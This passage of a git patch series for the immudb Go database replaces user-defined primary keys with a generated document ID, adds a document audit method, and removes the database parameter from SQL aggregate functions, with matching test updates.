immudb.documentschema.CollectionCreateResponse + 17, // 31: immudb.documentschema.DocumentService.CollectionGet:output_type -> immudb.documentschema.CollectionGetResponse + 20, // 32: immudb.documentschema.DocumentService.CollectionList:output_type -> immudb.documentschema.CollectionListResponse + 22, // 33: immudb.documentschema.DocumentService.CollectionDelete:output_type -> immudb.documentschema.CollectionDeleteResponse + 26, // [26:34] is the sub-list for method output_type + 18, // [18:26] is the sub-list for method input_type + 18, // [18:18] is the sub-list for extension type_name + 18, // [18:18] is the sub-list for extension extendee + 0, // [0:18] is the sub-list for field type_name } func init() { file_documentschema_proto_init() } @@ -2103,7 +2039,7 @@ func file_documentschema_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_documentschema_proto_rawDesc, NumEnums: 2, - NumMessages: 28, + NumMessages: 24, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index d347c8c515..e823ad2628 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -51,11 +51,12 @@ option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { message DocumentInsertRequest { string collection = 1; - repeated google.protobuf.Struct document = 2; + google.protobuf.Struct document = 2; } message DocumentInsertResponse { schema.VerifiableTx proof = 1; + string documentId = 2; } @@ -101,7 +102,7 @@ message DocumentSearchResponse { message DocumentProofRequest { string collection = 1; - map primaryKeys = 2; + string documentId = 2; int64 atRevision = 3; } @@ -113,7 +114,7 @@ message DocumentProofResponse { message DocumentAuditRequest { string collection = 1; - map primaryKeys = 2; + string documentId = 2; uint32 page = 3; uint32 perPage = 4; } @@ -144,8 +145,7 @@ enum IndexType { message CollectionCreateRequest { string name = 1; - map primaryKeys = 2; - map indexKeys = 3; + map indexKeys = 2; } message CollectionCreateResponse { @@ -154,8 +154,7 @@ message CollectionCreateResponse { message CollectionInformation { string name = 1; - map primaryKeys = 2; - map indexKeys = 3; + map indexKeys = 2; } message CollectionGetResponse { diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index c019b3cc3f..72b14831bd 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -275,12 +275,6 @@ "name": { "type": "string" }, - "primaryKeys": { - "type": "object", - "additionalProperties": { - "$ref": "#/definitions/documentschemaIndexOption" - } - }, "indexKeys": { "type": "object", "additionalProperties": { @@ -314,12 +308,6 @@ "name": { "type": "string" }, - "primaryKeys": { - "type": "object", - "additionalProperties": { - "$ref": "#/definitions/documentschemaIndexOption" - } - }, "indexKeys": { "type": "object", "additionalProperties": { @@ -360,11 +348,8 @@ "collection": { "type": "string" }, - "primaryKeys": { - "type": "object", - "additionalProperties": { - "$ref": "#/definitions/documentschemaIndexValue" - } + "documentId": { + "type": "string" }, "page": { "type": "integer", @@ -406,10 +391,7 @@ "type": "string" }, "document": { - "type": "array", - "items": { - "type": "object" - } + "type": "object" } } }, @@ -418,6 +400,9 @@ "properties": { "proof": { "$ref": "#/definitions/schemaVerifiableTx" + }, + "documentId": { + "type": "string" } } }, @@ -427,11 +412,8 @@ "collection": { "type": "string" }, - "primaryKeys": { - "type": "object", - "additionalProperties": { - "$ref": "#/definitions/documentschemaIndexValue" - } + "documentId": { + "type": "string" }, "atRevision": { "type": "string", @@ -523,24 +505,6 @@ ], "default": "DOUBLE" }, - "documentschemaIndexValue": { - "type": "object", - "properties": { - "null_value": { - "type": "string" - }, - "number_value": { - "type": "number", - "format": "double" - }, - "string_value": { - "type": "string" - }, - "bool_value": { - "type": "boolean" - } - } - }, "documentschemaQueryOperator": { "type": "string", "enum": [ @@ -566,7 +530,7 @@ "description": "Must be a valid serialized protocol buffer of the above specified type." } }, - "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\n Example 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\n Example 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := ptypes.MarshalAny(foo)\n ...\n foo := \u0026pb.Foo{}\n if err := ptypes.UnmarshalAny(any, foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n====\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" + "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\nExample 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\nExample 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := anypb.New(foo)\n if err != nil {\n ...\n }\n ...\n foo := \u0026pb.Foo{}\n if err := any.UnmarshalTo(foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" }, "protobufNullValue": { "type": "string", diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 4a0d62bd62..e68c51b8e8 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -7,6 +7,7 @@ import ( "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/sql" schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" + "google.golang.org/protobuf/types/known/structpb" ) var ( @@ -28,6 +29,8 @@ type ObjectDatabase interface { GetDocument(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) // CreateDocument creates a new document CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) + // DocumentAudit returns the document audit history + DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditRequest) (*schemav2.DocumentAuditResponse, error) } func (d *db) ListCollections(ctx context.Context, req *schemav2.CollectionListRequest) (*schemav2.CollectionListResponse, error) { @@ -65,25 +68,8 @@ func (d *db) GetCollection(ctx context.Context, req *schemav2.CollectionGetReque // CreateCollection creates a new collection func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) (*schemav2.CollectionCreateResponse, error) { - // validate collection to contain at least one primary key - if len(req.PrimaryKeys) == 0 { - return nil, fmt.Errorf("collection must have at least one primary key") - } - - primaryKeys := make(map[string]sql.SQLValueType) indexKeys := make(map[string]sql.SQLValueType) - // validate primary keys - for name, pk := range req.PrimaryKeys { - schType, isValid := schemaToValueType[pk.Type] - if !isValid { - return nil, fmt.Errorf("invalid primary key type: %v", pk) - } - // TODO: add support for other types - // TODO: add support for auto increment - primaryKeys[name] = schType - } - // validate index keys for name, pk := range req.IndexKeys { schType, isValid := schemaToValueType[pk.Type] @@ -95,7 +81,7 @@ func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreat indexKeys[name] = schType } - err := d.documentEngine.CreateCollection(ctx, req.Name, primaryKeys, indexKeys) + err := d.documentEngine.CreateCollection(ctx, req.Name, indexKeys) if err != nil { return nil, err } @@ -111,7 +97,12 @@ func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreat // CreateDocument creates a new document func (d *db) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) { - return nil, d.documentEngine.CreateDocument(ctx, req.Collection, req.Document) + docID, err := d.documentEngine.CreateDocument(ctx, req.Collection, req.Document) + if err != nil { + return nil, err + } + + return &schemav2.DocumentInsertResponse{DocumentId: docID.Hex()}, nil } // GetDocument returns the document @@ -134,9 +125,8 @@ func (d *db) GetDocument(ctx context.Context, req *schemav2.DocumentSearchReques // helper function to create a collection information func newCollectionInformation(collectionName string, indexes []*sql.Index) *schemav2.CollectionInformation { cinfo := &schemav2.CollectionInformation{ - Name: collectionName, - PrimaryKeys: make(map[string]*schemav2.IndexOption), - IndexKeys: make(map[string]*schemav2.IndexOption), + Name: collectionName, + IndexKeys: make(map[string]*schemav2.IndexOption), } // iterate over indexes and extract primary and index keys @@ -152,18 +142,43 @@ func newCollectionInformation(collectionName string, indexes []*sql.Index) *sche colType = schemav2.IndexType_STRING } - // check if primary key - if idx.IsPrimary() { - cinfo.PrimaryKeys[col.Name()] = &schemav2.IndexOption{ - Type: colType, - } - } else { - cinfo.IndexKeys[col.Name()] = &schemav2.IndexOption{ - Type: colType, - } + cinfo.IndexKeys[col.Name()] = &schemav2.IndexOption{ + Type: colType, } + } } return cinfo } + +func (d *db) DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditRequest) (*schemav2.DocumentAuditResponse, error) { + // verify if document id is valid + docID, err := document.DocumentIDFromHex(req.DocumentId) + if err != nil { + return nil, fmt.Errorf("invalid document id: %v", err) + } + historyLogs, err := d.documentEngine.DocumentAudit(ctx, req.Collection, docID, int(req.PerPage)) + if err != nil { + return nil, fmt.Errorf("error fetching document history: %v", err) + } + + resp := &schemav2.DocumentAuditResponse{ + Results: make([]*schemav2.DocumentAudit, 0, len(historyLogs)), + } + + for _, log := range historyLogs { + resp.Results = append(resp.Results, &schemav2.DocumentAudit{ + TransactionID: log.TxID, + Value: &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "obj": { + Kind: &structpb.Value_StringValue{StringValue: string(log.Value)}, + }, + }, + }, + }) + } + + return resp, nil +} diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 3892a2d459..d682300138 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -50,8 +50,8 @@ func TestObjectDB_Collection(t *testing.T) { collectionName := "mycollection" _, err := db.CreateCollection(context.Background(), &schemav2.CollectionCreateRequest{ Name: collectionName, - PrimaryKeys: map[string]*schemav2.IndexOption{ - "id": newIndexOption(schemav2.IndexType_INTEGER), + IndexKeys: map[string]*schemav2.IndexOption{ + "pincode": newIndexOption(schemav2.IndexType_INTEGER), }, }) require.NoError(t, err) @@ -62,20 +62,18 @@ func TestObjectDB_Collection(t *testing.T) { }) require.NoError(t, err) resp := cinfo.Collection - require.Equal(t, 0, len(resp.IndexKeys)) - require.Equal(t, 1, len(resp.PrimaryKeys)) - require.Contains(t, resp.PrimaryKeys, "id") - require.Equal(t, schemav2.IndexType_INTEGER, resp.PrimaryKeys["id"].Type) + require.Equal(t, 2, len(resp.IndexKeys)) + require.Contains(t, resp.IndexKeys, "_id") + require.Contains(t, resp.IndexKeys, "pincode") + require.Equal(t, schemav2.IndexType_INTEGER, resp.IndexKeys["pincode"].Type) // add document to collection _, err = db.CreateDocument(context.Background(), &schemav2.DocumentInsertRequest{ Collection: collectionName, - Document: []*structpb.Struct{ - { - Fields: map[string]*structpb.Value{ - "id": { - Kind: &structpb.Value_NumberValue{NumberValue: 123}, - }, + Document: &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: 123}, }, }, }, @@ -87,7 +85,7 @@ func TestObjectDB_Collection(t *testing.T) { Collection: collectionName, Query: []*schemav2.DocumentQuery{ { - Field: "id", + Field: "pincode", Value: &structpb.Value{ Kind: &structpb.Value_NumberValue{NumberValue: 123}, }, @@ -98,5 +96,5 @@ func TestObjectDB_Collection(t *testing.T) { require.NoError(t, err) require.Equal(t, 1, len(docs.Results)) res := docs.Results[0] - require.Equal(t, 123, int(res.Fields["id"].GetNumberValue())) + require.Equal(t, 123, int(res.Fields["pincode"].GetNumberValue())) } diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 6f7d5e6949..b45af03c90 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -268,3 +268,7 @@ func (d *closedDB) CreateDocument(ctx context.Context, req *schemav2.DocumentIns func (d *closedDB) ListCollections(ctx context.Context, req *schemav2.CollectionListRequest) (*schemav2.CollectionListResponse, error) { return nil, store.ErrAlreadyClosed } + +func (d *closedDB) DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditRequest) (*schemav2.DocumentAuditResponse, error) { + return nil, store.ErrAlreadyClosed +} From 56052d81aa44a62ad8301036816994512ff201a6 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 14 Mar 2023 21:47:14 -0300 Subject: [PATCH 0359/1062] chore(embedded/sql): WIP singledb sql engine Signed-off-by: Jeronimo Irazabal chore(embedded/sql): wip singledb engine Signed-off-by: Jeronimo Irazabal chore(pkg/database): upgrade with simplified sql engine Signed-off-by: Jeronimo Irazabal chore(embedded/sql): deprecate multi-db-related mapping Signed-off-by: Jeronimo Irazabal test(cmd/immuclient): adjust test to support empty databases Signed-off-by: Jeronimo Irazabal --- cmd/immuclient/command/currentstatus_test.go | 3 +- embedded/sql/aggregated_values.go | 40 +- embedded/sql/aggregated_values_test.go | 58 +- embedded/sql/catalog.go | 280 ++----- embedded/sql/catalog_test.go | 56 +- embedded/sql/cond_row_reader.go | 8 +- embedded/sql/distinct_row_reader.go | 4 - embedded/sql/distinct_row_reader_test.go | 2 - embedded/sql/engine.go | 73 +- embedded/sql/engine_test.go | 757 ++++++------------ embedded/sql/grouped_row_reader.go | 41 +- embedded/sql/grouped_row_reader_test.go | 5 +- embedded/sql/joint_row_reader.go | 8 +- embedded/sql/joint_row_reader_test.go | 8 +- embedded/sql/limit_row_reader.go | 4 - embedded/sql/limit_row_reader_test.go | 2 - embedded/sql/offset_row_reader.go | 4 - embedded/sql/offset_row_reader_test.go | 2 - embedded/sql/options.go | 7 + embedded/sql/proj_row_reader.go | 36 +- embedded/sql/row_reader.go | 46 +- embedded/sql/row_reader_test.go | 4 - embedded/sql/sql_grammar.y | 2 +- embedded/sql/sql_parser.go | 2 +- embedded/sql/sql_tx.go | 18 +- embedded/sql/stmt.go | 501 +++++------- embedded/sql/stmt_test.go | 209 ++--- embedded/sql/union_row_reader.go | 4 - embedded/sql/union_row_reader_test.go | 3 - embedded/sql/values_row_reader.go | 31 +- embedded/sql/values_row_reader_test.go | 16 +- pkg/database/all_ops_test.go | 10 +- pkg/database/database.go | 95 +-- pkg/database/database_test.go | 16 +- pkg/database/reference_test.go | 10 +- pkg/database/replica_test.go | 22 +- pkg/database/sorted_set_test.go | 28 +- pkg/database/sql.go | 85 +- pkg/integration/client_test.go | 9 +- .../synchronous_replication_test.go | 4 +- .../stream/stream_replication_test.go | 2 +- pkg/server/server_test.go | 3 - 42 files changed, 809 insertions(+), 1709 deletions(-) diff --git a/cmd/immuclient/command/currentstatus_test.go b/cmd/immuclient/command/currentstatus_test.go index 0256989c36..a2631b37fe 100644 --- a/cmd/immuclient/command/currentstatus_test.go +++ b/cmd/immuclient/command/currentstatus_test.go @@ -19,6 +19,7 @@ package immuclient import ( "bytes" "io/ioutil" + "strings" "testing" "github.com/codenotary/immudb/pkg/client" @@ -74,5 +75,5 @@ func TestCurrentState(t *testing.T) { require.NoError(t, err) rsp := string(msg) - require.Contains(t, rsp, "txID:") + require.True(t, strings.Contains(rsp, "is empty") || strings.Contains(rsp, "txID:")) } diff --git a/embedded/sql/aggregated_values.go b/embedded/sql/aggregated_values.go index c56687cb00..f22943a5dc 100644 --- a/embedded/sql/aggregated_values.go +++ b/embedded/sql/aggregated_values.go @@ -73,11 +73,11 @@ func (v *CountValue) updateWith(val TypedValue) error { // ValueExp -func (v *CountValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { +func (v *CountValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return IntegerType, nil } -func (v *CountValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (v *CountValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != IntegerType { return ErrNotComparableValues } @@ -92,11 +92,11 @@ func (v *CountValue) substitute(params map[string]interface{}) (ValueExp, error) return nil, ErrUnexpected } -func (v *CountValue) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { +func (v *CountValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return nil, ErrUnexpected } -func (v *CountValue) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (v *CountValue) reduceSelectors(row *Row, implicitTable string) ValueExp { return nil } @@ -165,11 +165,11 @@ func (v *SumValue) updateWith(val TypedValue) error { // ValueExp -func (v *SumValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { +func (v *SumValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return IntegerType, nil } -func (v *SumValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (v *SumValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != IntegerType { return ErrNotComparableValues } @@ -184,11 +184,11 @@ func (v *SumValue) substitute(params map[string]interface{}) (ValueExp, error) { return nil, ErrUnexpected } -func (v *SumValue) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { +func (v *SumValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return nil, ErrUnexpected } -func (v *SumValue) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (v *SumValue) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } @@ -255,7 +255,7 @@ func (v *MinValue) updateWith(val TypedValue) error { // ValueExp -func (v *MinValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { +func (v *MinValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { if v.val.IsNull() { return AnyType, ErrUnexpected } @@ -263,7 +263,7 @@ func (v *MinValue) inferType(cols map[string]ColDescriptor, params map[string]SQ return v.val.Type(), nil } -func (v *MinValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (v *MinValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if v.val.IsNull() { return ErrUnexpected } @@ -283,11 +283,11 @@ func (v *MinValue) substitute(params map[string]interface{}) (ValueExp, error) { return nil, ErrUnexpected } -func (v *MinValue) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { +func (v *MinValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return nil, ErrUnexpected } -func (v *MinValue) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (v *MinValue) reduceSelectors(row *Row, implicitTable string) ValueExp { return nil } @@ -354,7 +354,7 @@ func (v *MaxValue) updateWith(val TypedValue) error { // ValueExp -func (v *MaxValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { +func (v *MaxValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { if v.val.IsNull() { return AnyType, ErrUnexpected } @@ -362,7 +362,7 @@ func (v *MaxValue) inferType(cols map[string]ColDescriptor, params map[string]SQ return v.val.Type(), nil } -func (v *MaxValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (v *MaxValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if v.val.IsNull() { return ErrUnexpected } @@ -382,11 +382,11 @@ func (v *MaxValue) substitute(params map[string]interface{}) (ValueExp, error) { return nil, ErrUnexpected } -func (v *MaxValue) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { +func (v *MaxValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return nil, ErrUnexpected } -func (v *MaxValue) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (v *MaxValue) reduceSelectors(row *Row, implicitTable string) ValueExp { return nil } @@ -470,11 +470,11 @@ func (v *AVGValue) updateWith(val TypedValue) error { // ValueExp -func (v *AVGValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { +func (v *AVGValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return IntegerType, nil } -func (v *AVGValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) error { +func (v *AVGValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != IntegerType { return ErrNotComparableValues } @@ -490,11 +490,11 @@ func (v *AVGValue) substitute(params map[string]interface{}) (ValueExp, error) { return nil, ErrUnexpected } -func (v *AVGValue) reduce(tx *SQLTx, row *Row, implicitDB, implicitTable string) (TypedValue, error) { +func (v *AVGValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return nil, ErrUnexpected } -func (v *AVGValue) reduceSelectors(row *Row, implicitDB, implicitTable string) ValueExp { +func (v *AVGValue) reduceSelectors(row *Row, implicitTable string) ValueExp { return nil } diff --git a/embedded/sql/aggregated_values_test.go b/embedded/sql/aggregated_values_test.go index 66054f6128..c67ac64f75 100644 --- a/embedded/sql/aggregated_values_test.go +++ b/embedded/sql/aggregated_values_test.go @@ -53,14 +53,14 @@ func TestCountValue(t *testing.T) { // ValueExp - sqlt, err := cval.inferType(nil, nil, "db1", "table1") + sqlt, err := cval.inferType(nil, nil, "table1") require.NoError(t, err) require.Equal(t, IntegerType, sqlt) - err = cval.requiresType(IntegerType, nil, nil, "db1", "table1") + err = cval.requiresType(IntegerType, nil, nil, "table1") require.NoError(t, err) - err = cval.requiresType(BooleanType, nil, nil, "db1", "table1") + err = cval.requiresType(BooleanType, nil, nil, "table1") require.ErrorIs(t, err, ErrNotComparableValues) _, err = cval.jointColumnTo(nil, "table1") @@ -69,10 +69,10 @@ func TestCountValue(t *testing.T) { _, err = cval.substitute(nil) require.ErrorIs(t, err, ErrUnexpected) - _, err = cval.reduce(nil, nil, "db1", "table1") + _, err = cval.reduce(nil, nil, "table1") require.ErrorIs(t, err, ErrUnexpected) - require.Nil(t, cval.reduceSelectors(nil, "db1", "table1")) + require.Nil(t, cval.reduceSelectors(nil, "table1")) require.False(t, cval.isConstant()) @@ -116,14 +116,14 @@ func TestSumValue(t *testing.T) { // ValueExp - sqlt, err := cval.inferType(nil, nil, "db1", "table1") + sqlt, err := cval.inferType(nil, nil, "table1") require.NoError(t, err) require.Equal(t, IntegerType, sqlt) - err = cval.requiresType(IntegerType, nil, nil, "db1", "table1") + err = cval.requiresType(IntegerType, nil, nil, "table1") require.NoError(t, err) - err = cval.requiresType(BooleanType, nil, nil, "db1", "table1") + err = cval.requiresType(BooleanType, nil, nil, "table1") require.ErrorIs(t, err, ErrNotComparableValues) _, err = cval.jointColumnTo(nil, "table1") @@ -132,10 +132,10 @@ func TestSumValue(t *testing.T) { _, err = cval.substitute(nil) require.ErrorIs(t, err, ErrUnexpected) - _, err = cval.reduce(nil, nil, "db1", "table1") + _, err = cval.reduce(nil, nil, "table1") require.ErrorIs(t, err, ErrUnexpected) - require.Equal(t, cval, cval.reduceSelectors(nil, "db1", "table1")) + require.Equal(t, cval, cval.reduceSelectors(nil, "table1")) require.False(t, cval.isConstant()) @@ -151,10 +151,10 @@ func TestMinValue(t *testing.T) { require.True(t, cval.ColBounded()) require.True(t, cval.IsNull()) - _, err := cval.inferType(nil, nil, "db1", "table1") + _, err := cval.inferType(nil, nil, "table1") require.ErrorIs(t, err, ErrUnexpected) - err = cval.requiresType(IntegerType, nil, nil, "db1", "table1") + err = cval.requiresType(IntegerType, nil, nil, "table1") require.ErrorIs(t, err, ErrUnexpected) err = cval.updateWith(&Integer{val: 10}) @@ -185,14 +185,14 @@ func TestMinValue(t *testing.T) { // ValueExp - sqlt, err := cval.inferType(nil, nil, "db1", "table1") + sqlt, err := cval.inferType(nil, nil, "table1") require.NoError(t, err) require.Equal(t, IntegerType, sqlt) - err = cval.requiresType(IntegerType, nil, nil, "db1", "table1") + err = cval.requiresType(IntegerType, nil, nil, "table1") require.NoError(t, err) - err = cval.requiresType(BooleanType, nil, nil, "db1", "table1") + err = cval.requiresType(BooleanType, nil, nil, "table1") require.ErrorIs(t, err, ErrNotComparableValues) _, err = cval.jointColumnTo(nil, "table1") @@ -201,10 +201,10 @@ func TestMinValue(t *testing.T) { _, err = cval.substitute(nil) require.ErrorIs(t, err, ErrUnexpected) - _, err = cval.reduce(nil, nil, "db1", "table1") + _, err = cval.reduce(nil, nil, "table1") require.ErrorIs(t, err, ErrUnexpected) - require.Nil(t, cval.reduceSelectors(nil, "db1", "table1")) + require.Nil(t, cval.reduceSelectors(nil, "table1")) require.False(t, cval.isConstant()) @@ -220,10 +220,10 @@ func TestMaxValue(t *testing.T) { require.True(t, cval.ColBounded()) require.True(t, cval.IsNull()) - _, err := cval.inferType(nil, nil, "db1", "table1") + _, err := cval.inferType(nil, nil, "table1") require.ErrorIs(t, err, ErrUnexpected) - err = cval.requiresType(IntegerType, nil, nil, "db1", "table1") + err = cval.requiresType(IntegerType, nil, nil, "table1") require.ErrorIs(t, err, ErrUnexpected) err = cval.updateWith(&Integer{val: 10}) @@ -254,14 +254,14 @@ func TestMaxValue(t *testing.T) { // ValueExp - sqlt, err := cval.inferType(nil, nil, "db1", "table1") + sqlt, err := cval.inferType(nil, nil, "table1") require.NoError(t, err) require.Equal(t, IntegerType, sqlt) - err = cval.requiresType(IntegerType, nil, nil, "db1", "table1") + err = cval.requiresType(IntegerType, nil, nil, "table1") require.NoError(t, err) - err = cval.requiresType(BooleanType, nil, nil, "db1", "table1") + err = cval.requiresType(BooleanType, nil, nil, "table1") require.ErrorIs(t, err, ErrNotComparableValues) _, err = cval.jointColumnTo(nil, "table1") @@ -270,10 +270,10 @@ func TestMaxValue(t *testing.T) { _, err = cval.substitute(nil) require.ErrorIs(t, err, ErrUnexpected) - _, err = cval.reduce(nil, nil, "db1", "table1") + _, err = cval.reduce(nil, nil, "table1") require.ErrorIs(t, err, ErrUnexpected) - require.Nil(t, cval.reduceSelectors(nil, "db1", "table1")) + require.Nil(t, cval.reduceSelectors(nil, "table1")) require.False(t, cval.isConstant()) @@ -317,14 +317,14 @@ func TestAVGValue(t *testing.T) { // ValueExp - sqlt, err := cval.inferType(nil, nil, "db1", "table1") + sqlt, err := cval.inferType(nil, nil, "table1") require.NoError(t, err) require.Equal(t, IntegerType, sqlt) - err = cval.requiresType(IntegerType, nil, nil, "db1", "table1") + err = cval.requiresType(IntegerType, nil, nil, "table1") require.NoError(t, err) - err = cval.requiresType(BooleanType, nil, nil, "db1", "table1") + err = cval.requiresType(BooleanType, nil, nil, "table1") require.ErrorIs(t, err, ErrNotComparableValues) _, err = cval.jointColumnTo(nil, "table1") @@ -333,10 +333,10 @@ func TestAVGValue(t *testing.T) { _, err = cval.substitute(nil) require.ErrorIs(t, err, ErrUnexpected) - _, err = cval.reduce(nil, nil, "db1", "table1") + _, err = cval.reduce(nil, nil, "table1") 